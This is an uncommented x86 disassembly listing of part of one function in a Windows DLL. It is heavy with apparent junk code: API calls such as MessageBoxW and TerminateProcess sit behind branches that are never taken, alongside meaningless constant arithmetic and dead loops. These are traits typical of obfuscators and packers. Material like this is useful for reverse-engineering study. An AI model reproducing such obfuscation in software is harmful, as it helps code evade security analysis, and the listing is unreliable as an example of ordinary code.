mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edi
jg 0x10019a3e
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x13f0], 0
jne 0x10019a3c
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jle 0x10019a27
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10019a54
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x398], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10019a43
mov dword [ebp - 0x34], 0x1824a8c6
lea ecx, [ebp - 0x6b0]
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x10], 0xf1bd53d2
push edi
call fcn.10016d1f
xor eax, eax
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x1c], eax
jmp 0x10019a99
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x6b0]
call fcn.10016dbd
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10019a85
mov dword [ebp - 0x34], 0xffffffe3
cmp dword [ebp - 0x34], 9
jg 0x10019ad0
xor ebx, ebx
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x10019ac1
push 0x2484
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 9
jle 0x10019aad
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffef
je 0x10019c06
xor ebx, ebx
mov dword [ebp - 0x24], 0x891f782a
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], edi
jl 0x10019bed
mov dword [ebp - 0x1c], ebx
jmp 0x10019b0a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xdc8], 0xb7be2d3d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10019af9
mov eax, dword [ebp - 0x24]
mov ecx, 0xffff
mov eax, dword [ebp - 0x34]
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0xdc4]
jl 0x10019b2c
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], 0xf4904691
cmp dword [ebp - 0x10], ebx
jne 0x10019b3d
mov esi, ebx
push ebx
lea ecx, [ebp - 0x6b0]
call fcn.10016dbd
mov ecx, dword [ebp - 0x40]
sub esi, ecx
xor ecx, ecx
cmp esi, 0x55a24b83
setne cl
neg ecx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
add ecx, 0xd040
add eax, ecx
mov ecx, dword [ebp - 0x24]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xffffffff
setle al
cmp eax, dword [ebp - 0x24]
jge 0x10019b93
push ebx
lea ecx, [ebp - 0x6b0]
call fcn.10016dbd
mov edx, dword [ebp - 0xdc4]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
sub edx, eax
mov eax, dword [ebp - 0xdc4]
cmp edx, eax
setl cl
cmp dword [ebp - 0x24], ecx
jne 0x10019bbd
cmp dword [ebp - 0x24], ebx
jne 0x10019bbd
mov eax, dword [ebp - 0xdc0]
jmp 0x10019bde
mov dword [ebp - 0x10], ebx
jmp 0x10019bd9
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6b0]
call fcn.10016dbd
mov dword [eax], 0x8323
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10019bc2
inc dword [ebp - 0x24]
push 1
pop esi
cmp dword [ebp - 0x24], edi
jge 0x10019af4
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffef
jne 0x10019ae1
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
push 8
pop eax
lea ecx, [ebp - 0x6b0]
mov byte [ebp - 4], al
call fcn.10016da1
inc dword [ebp - 0x398]
lea ecx, [ebp - 0x444]
push esi
call fcn.10016d1f
mov byte [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x1c], 0x147b80be
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10019c52
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7c8], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10019c3e
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10019c78
push dword [ebp - 0x10]
lea ecx, [ebp - 0x444]
call fcn.10016dbd
mov dword [eax], 0xc70bb743
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10019c5a
xor eax, eax
push eax
lea ecx, [ebp - 0x444]
call fcn.10016dbd
lea ecx, [ebp - 0x444]
and dword [eax], 0
xor eax, eax
push eax
call fcn.10016dbd
cmp dword [eax], 0
jg 0x10019d19
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10019cb2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa58], 0x9869ec42
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10019ca1
push ebx
lea ecx, [ebp - 0x444]
call fcn.10016dbd
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x7c8]
mov eax, 0xf8067e30
mov dword [ebp - 0xa54], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c], ebx
jmp 0x10019cf0
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], ebx
jne 0x10019cf5
mov eax, dword [ebp - 0xa54]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10019cdf
push ebx
lea ecx, [ebp - 0x444]
call fcn.10016dbd
push ebx
lea ecx, [ebp - 0x444]
inc dword [eax]
call fcn.10016dbd
cmp dword [eax], ebx
jle 0x10019c9c
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x10019d31
push eax
push 0x14ce
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 8
pop eax
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], al
call fcn.10016da1
push esi
lea ecx, [ebp - 0xb30]
call fcn.10016dbd
lea ecx, [ebp - 0xb30]
mov dword [eax], 0xe8b0d193
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10016da1
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], 0xcd430964
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10019d94
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3a0], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10019d7c
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10019dc2
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x10019daa
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x10], eax
je 0x10019dac
mov ecx, esi
xor eax, eax
cmp ecx, 0xfffb
sete al
mov dword [ebp - 0x3a0], eax
mov eax, dword [ebp - 0x10]
mov eax, esi
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3a0]
cmp dword [ebp - 0x10], eax
jle 0x10019dd9
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10019de2
jmp 0x10019ddb
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10019de2
mov eax, esi
mov dword [ebp - 0x30], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x10019df3
call ebx
xor eax, eax
mov dword [ebp - 0x2c], 0x99dada43
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10019e18
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1138], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10019e03
xor eax, eax
mov dword [ebp - 0x2c], edi
mov edi, dword [sym.imp.USER32.dll_MessageBoxW]
cmp dword [ebp - 0x2c], eax
jl 0x10019e6a
xor ebx, ebx
mov dword [ebp - 0x1c], 0xe90a624c
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x10019e47
push 0x16bb
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
mov dword [ebp - 0x1c], ebx
jmp 0x10019e59
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1138], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10019e4c
dec dword [ebp - 0x2c]
jns 0x10019e28
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
mov eax, dword [ebp - 0x1134]
xor ecx, ecx
cmp eax, 0x444
setle cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], 0xcd430964
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10019eb0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x36c], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10019e98
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10019ede
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x10019ec6
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x10], eax
je 0x10019ec8
mov ecx, esi
xor eax, eax
cmp ecx, 0xfffb
sete al
mov dword [ebp - 0x36c], eax
mov eax, dword [ebp - 0x10]
mov eax, esi
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x36c]
cmp dword [ebp - 0x10], eax
jle 0x10019ef5
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10019efe
jmp 0x10019ef7
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10019efe
mov eax, esi
mov dword [ebp - 0x30], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x10019f0f
call ebx
xor eax, eax
mov dword [ebp - 0x2c], 0x99dada43
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10019f34
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xea4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10019f1f
xor eax, eax
mov dword [ebp - 0x2c], 2
cmp dword [ebp - 0x2c], eax
jl 0x10019f84
xor ebx, ebx
mov dword [ebp - 0x1c], 0xe90a624c
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x10019f61
push 0x16bb
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
mov dword [ebp - 0x1c], ebx
jmp 0x10019f73
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xea4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10019f66
dec dword [ebp - 0x2c]
jns 0x10019f42
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
mov eax, dword [ebp - 0xea0]
xor ecx, ecx
cmp eax, 0x444
setle cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x38], 0x57689a5a
mov dword [ebp - 0x30], 0x17473468
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10019fce
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x720], 0xa0c8d467
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10019fb6
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffef
jne 0x1001a106
xor ebx, ebx
or edi, 0xffffffff
mov dword [ebp - 0x2c], edi
lea ecx, [ebp - 0xc98]
push 3
call fcn.10016d1f
mov dword [ebp - 4], 0xc
push 3
mov dword [ebp - 0x40], 0x96f8f9ed
mov dword [ebp - 0x10], ebx
pop esi
jmp 0x1001a01d
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc98]
call fcn.10016dbd
mov dword [eax], 0xc6338430
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001a006
mov dword [ebp - 0x10], ebx
jmp 0x1001a038
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1408], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001a027
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0xc98]
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp - 0x2c]
push 2
call fcn.10016dbd
mov dword [eax], esi
cmp esi, dword [ebp - 0x1400]
jne 0x1001a0d2
mov dword [ebp - 0x38], 0x865b49d5
lea ecx, [ebp - 0x1044]
mov dword [ebp - 0x38], 0x81479b69
push 3
call fcn.10016d1f
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x1c], ebx
jmp 0x1001a098
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1044]
call fcn.10016dbd
mov dword [eax], 0x92f20920
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001a081
mov dword [ebp - 0x2c], ebx
jmp 0x1001a0bc
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1001a0b9
push ebx
push 0x2559
push ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x17
jl 0x1001a0a3
dec dword [ebp - 0x40]
lea ecx, [ebp - 0x1044]
call fcn.10016da1
jmp 0x1001a0dc
mov dword [ebp - 0x40], 0xbb9c
inc dword [ebp - 0x40]
lea ecx, [ebp - 0xc98]
mov dword [ebp - 4], edi
call fcn.10016da1
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffef
je 0x10019fe0
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
xor esi, esi
mov edi, dword [sym.imp.USER32.dll_MessageBoxW]
inc esi
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x2c], 0x99dada43
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001a139
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xebc], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001a124
xor eax, eax
mov dword [ebp - 0x2c], 2
cmp dword [ebp - 0x2c], eax
jl 0x1001a189
xor ebx, ebx
mov dword [ebp - 0x1c], 0xe90a624c
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x1001a166
push 0x16bb
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
mov dword [ebp - 0x1c], ebx
jmp 0x1001a178
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xebc], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001a16b
dec dword [ebp - 0x2c]
jns 0x1001a147
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
mov eax, dword [ebp - 0xeb8]
xor ecx, ecx
cmp eax, 0x444
push esi
setle cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0xb48]
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x2c], 2
call fcn.10016d1f
xor eax, eax
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1001a1e1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb48]
call fcn.10016dbd
mov dword [eax], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001a1c7
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1001a200
mov dword [ebp - 0x40], 0xfffffff6
inc dword [ebp - 0x40]
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
jne 0x1001a436
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff5
jle 0x1001a1e6
mov dword [ebp - 0x10], 0xb
cmp dword [ebp - 0x10], 0x10
jne 0x1001a275
xor ebx, ebx
mov dword [ebp - 0x14], 0x4cb8f6c2
mov dword [ebp - 0x1c], 0x31c587c7
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x14], eax
jne 0x1001a238
mov edx, esi
cmp dword [ebp - 0x1c], ebx
jne 0x1001a23a
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x2c]
jne 0x1001a24c
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0xb48]
mov eax, dword [ebp - 0x14]
push ebx
call fcn.10016dbd
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x10]
mov dword [eax], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x10
je 0x1001a215
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
or eax, 0xffffffff
lea ecx, [ebp - 0xb48]
mov dword [ebp - 4], eax
call fcn.10016da1
push esi
lea ecx, [ebp - 0x6cc]
call fcn.10016d1f
mov dword [ebp - 4], 0xf
or eax, 0xffffffff
mov dword [ebp - 0x34], 0xc4d8e5cc
mov dword [ebp - 0x10], 0xa912e755
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1001a2df
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x6cc]
call fcn.10016dbd
mov dword [eax], 0xd3df75dc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001a2c1
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jg 0x1001a47f
xor ebx, ebx
mov edi, 0xa0e40209
mov dword [ebp - 0x1c], 0x5126ed4b
mov dword [ebp - 0x14], 0x75dfcc9f
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x40], 0xd5297f1f
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, esi
sete cl
sub eax, ecx
lea ecx, [ebp - 0x6cc]
cmp edi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
push dword [ebp - 0x34]
call fcn.10016dbd
push dword [ebp - 0x34]
lea ecx, [ebp - 0x6cc]
mov esi, eax
call fcn.10016dbd
mov ecx, dword [eax]
mov dword [esi], ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
je 0x1001a378
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x10]
sub eax, 0xfffffffa
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xc8167ba9
jb 0x1001a441
mov dword [ebp - 0x14], 0x7f34fa62
mov dword [ebp - 0x40], 0x26771399
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x28], eax
jge 0x1001a3cf
mov eax, dword [ebp - 0x30]
push dword [ebp - 0x34]
lea ecx, [ebp - 0x6cc]
call fcn.10016dbd
mov ecx, dword [ebp - 0x14]
mov esi, eax
xor eax, eax
lea edx, [eax + 1]
sub edx, ecx
sub edx, dword [ebp - 0x2c]
neg edx
sbb edx, edx
inc edx
imul ecx, edx, 0x9608
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setne cl
xor edx, edx
imul ecx, dword [esi]
cmp ecx, 0x5d5a
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
add ecx, dword [ebp - 0x24]
neg ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
jmp 0x1001a464
push 0x1bca
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x1001a455
push 0x516
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x1001a464
push ebx
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
inc dword [ebp - 0x34]
push 1
pop esi
cmp dword [ebp - 0x34], ebx
jle 0x1001a2f2
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
mov edi, dword [sym.imp.USER32.dll_MessageBoxW]
or eax, 0xffffffff
lea ecx, [ebp - 0x6cc]
mov dword [ebp - 4], eax
call fcn.10016da1
xor eax, eax
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x28], eax
push 3
call fcn.10016d1f
mov dword [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x40], 0x7d17
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], 0xad14ca72
mov dword [ebp - 0x38], 0xc7e7c0ce
mov dword [ebp - 0x48], 0xfffffffa
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001a502
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x294]
call fcn.10016dbd
mov dword [eax], 0xf70a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001a4e3
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jg 0x1001a660
xor ebx, ebx
or edi, 0xffffffff
mov dword [ebp - 0x1c], esi
lea ecx, [ebp - 0xda0]
push 4
call fcn.10016d1f
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x3c], 0xda550e8f
mov dword [ebp - 0x10], ebx
jmp 0x1001a547
push dword [ebp - 0x10]
lea ecx, [ebp - 0xda0]
call fcn.10016dbd
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1001a534
mov dword [ebp - 0x10], ebx
jmp 0x1001a563
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfb0], 0x6fe18bd2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001a552
mov dword [ebp - 0x1c], ebx
jmp 0x1001a629
mov dword [ebp - 0x40], 5
lea ecx, [ebp - 0x294]
push dword [ebp - 0x34]
call fcn.10016dbd
cmp dword [eax], ebx
jne 0x1001a633
cmp dword [ebp - 0x1c], ebx
je 0x1001a59e
push esi
lea ecx, [ebp - 0x294]
call fcn.10016dbd
push esi
lea ecx, [ebp - 0x294]
call fcn.10016dbd
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x294]
push dword [ebp - 0x34]
call fcn.10016dbd
push dword [ebp - 0x34]
lea ecx, [ebp - 0x294]
call fcn.10016dbd
push 2
lea ecx, [ebp - 0xda0]
call fcn.10016dbd
xor ecx, ecx
push 2
cmp dword [eax], 4
setne cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x294]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
call fcn.10016dbd
push dword [ebp - 0x34]
mov esi, edi
lea ecx, [ebp - 0x294]
sub esi, dword [eax]
call fcn.10016dbd
sub esi, dword [eax]
mov eax, dword [ebp - 0x40]
add eax, esi
test eax, eax
jle 0x1001a61d
push ebx
lea ecx, [ebp - 0x294]
call fcn.10016dbd
mov eax, dword [ebp - 0x3c]
xor esi, esi
inc esi
mov dword [ebp - 0x40], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1001a570
inc dword [ebp - 0x48]
lea ecx, [ebp - 0xda0]
mov byte [ebp - 4], 0x10
call fcn.10016da1
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jle 0x1001a514
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_MessageBoxW]
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1001a676
push 0x1611
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
or eax, 0xffffffff
lea ecx, [ebp - 0x294]
mov dword [ebp - 4], eax
call fcn.10016da1
mov dword [ebp - 0x40], 0xcd430964
or eax, 0xffffffff
mov dword [ebp - 0x40], 0x15f0ed1a
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], eax
jmp 0x1001a6bc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x70], 0x1c157478
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001a6ae
mov eax, dword [ebp - 0x70]
xor ecx, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x70]
cmp eax, 0xfffffff7
mov eax, dword [ebp - 0x14]
setne cl
xor edx, edx
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x70]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], esi
xor eax, eax
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x40], 0x7eede0b4
mov dword [ebp - 0x14], 0x66f5a9c4
mov dword [ebp - 0x30], 0x7d7c1188
mov dword [ebp - 0x48], 0x3ab1943c
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1001a75f
push 0x6f8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x40]
sub ecx, eax
jne 0x1001a78e
mov eax, dword [ebp - 0x14]
mov ecx, 0xcf415d72
cmp ecx, eax
sbb eax, eax
or ecx, 0xffffffff
inc eax
add eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x30]
cmp eax, ecx
jne 0x1001a78e
xor eax, eax
jmp 0x1001a790
mov eax, esi
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0xb60]
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x2c], 0x4e677b56
push 2
call fcn.10016d1f
xor eax, eax
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1001a7e9
or edi, 0xffffffff
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb60]
call fcn.10016dbd
mov dword [eax], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1001a7ca
mov edi, dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov edx, 0xfffc
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x1c]
cmp eax, edx
setne cl
xor edx, edx
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp dword [ebp - 0x1c], ecx
jge 0x1001a830
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1001a85f
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x1001a85f
